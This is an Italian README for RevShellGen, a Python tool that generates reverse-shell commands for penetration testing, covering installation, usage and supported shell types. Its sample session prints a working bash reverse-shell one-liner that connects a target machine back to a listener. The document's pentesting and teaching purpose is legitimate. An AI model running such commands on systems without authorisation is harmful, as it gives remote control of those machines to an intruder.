
Generatore di reverse shell scritto in Python 3.
Generatore di Reverse Shell
Automatizza la generazione di reverse shell con stile
Genera, codifica e cattura reverse shell senza fastidi
Caratteristiche • Installazione • Utilizzo • Tipi di Shell • Contribuire
RevShellGen è un potente strumento da riga di comando che semplifica il processo di generazione di comandi per reverse shell. Niente più ricerche di sintassi, niente più codifiche manuali, niente più mal di testa per la configurazione. Questo strumento gestisce tutto con un'interfaccia intuitiva.
# Installa da PyPI
pip install revshellgen
# Esegui lo strumento
revshellgen
# Clona il repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Installa le dipendenze
pip3 install -r requirements.txt
# Esegui lo strumento
python3 revshellgen.py # oppure python3 revshellgen_cli.py
RevShellGen richiede i seguenti pacchetti Python:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # Su Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# Potrebbe essere necessario installare python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Installa ncat per un miglior supporto listener
brew install nmap # Include ncat
Avvia lo strumento
python3 revshellgen.py
Configura la tua reverse shell
Il comando generato viene automaticamente copiato negli appunti
Avvia il listener (automatico)
Esegui il comando sulla macchina di destinazione
![]() Selezione Shell |
![]() Generazione Comando |
RevShellGen ora include istruzioni complete per l'upgrade TTY. Dopo aver catturato una shell, lo strumento fornisce:
Lo strumento rileva automaticamente e utilizza la variante netcat appropriata:
ncat (preferito, dal pacchetto nmap)nc (netcat tradizionale)nc specifica di macOS$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ SELEZIONA IP ] ----------
[ x ] 192.168.1.10 su eth0
[ ] 10.0.0.5 su tun0
[ ] Specifica manualmente
---------- [ SPECIFICA PORTA ] ----------
[ # ] Inserisci il numero di porta : 4444
---------- [ SELEZIONA COMANDO ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ COMANDO REVERSE SHELL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Comando copiato negli appunti!
[ + ] Avvio listener sulla porta 4444...
I contributi sono benvenuti! Sentiti libero di inviare una Pull Request. Per modifiche sostanziali, apri prima un issue per discutere cosa vorresti cambiare.
# Clona il tuo fork
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen
# Crea un branch
git checkout -b feature/nome-della-tua-funzionalità
# Apporta le modifiche e crea un commit
git add .
git commit -m "Aggiungi la tua funzionalità"
# Carica sul tuo fork
git push origin feature/nome-della-tua-funzionalità
# Crea una Pull Request
Hai trovato un bug o hai un suggerimento? Per favore apri un issue su GitHub.
Questo progetto è distribuito con licenza GNU General Public License v3.0 - vedi il file LICENSE per i dettagli.
Questo strumento è inteso esclusivamente per test di penetrazione autorizzati e scopi educativi.
L'uso di questo strumento contro sistemi di cui non si possiede la proprietà o per i quali non si ha esplicita autorizzazione è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità per usi impropri o danni causati da questo programma.
| Pacchetto | Scopo |
|---|
pyperclip | Operazioni sugli appunti |
colorama | Colori nel terminale |
readchar | Input interattivo da tastiera |
netifaces | Rilevamento interfacce di rete |
| Tipo di Shell | Descrizione | Piattaforma |
|---|
| Bash | Reverse shell TCP Bash | Linux/Unix |
| Python | Reverse shell basata su Python | Multipiattaforma |
| Netcat | Reverse shell nc tradizionale | Linux/Unix |
| Netcat mkfifo | Netcat con named pipe | Linux/Unix |
| Perl | Reverse shell basata su Perl | Multipiattaforma |
| PHP | Reverse shell PHP | Multipiattaforma |
| Ruby | Reverse shell basata su Ruby | Multipiattaforma |
| Java | Reverse shell Java | Multipiattaforma |
| AWK | Reverse shell AWK | Linux/Unix |
| Socat | Reverse shell Socat | Linux/Unix |
| Socat TTY | Socat con TTY completo | Linux/Unix |
| Telnet | Reverse shell Telnet | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |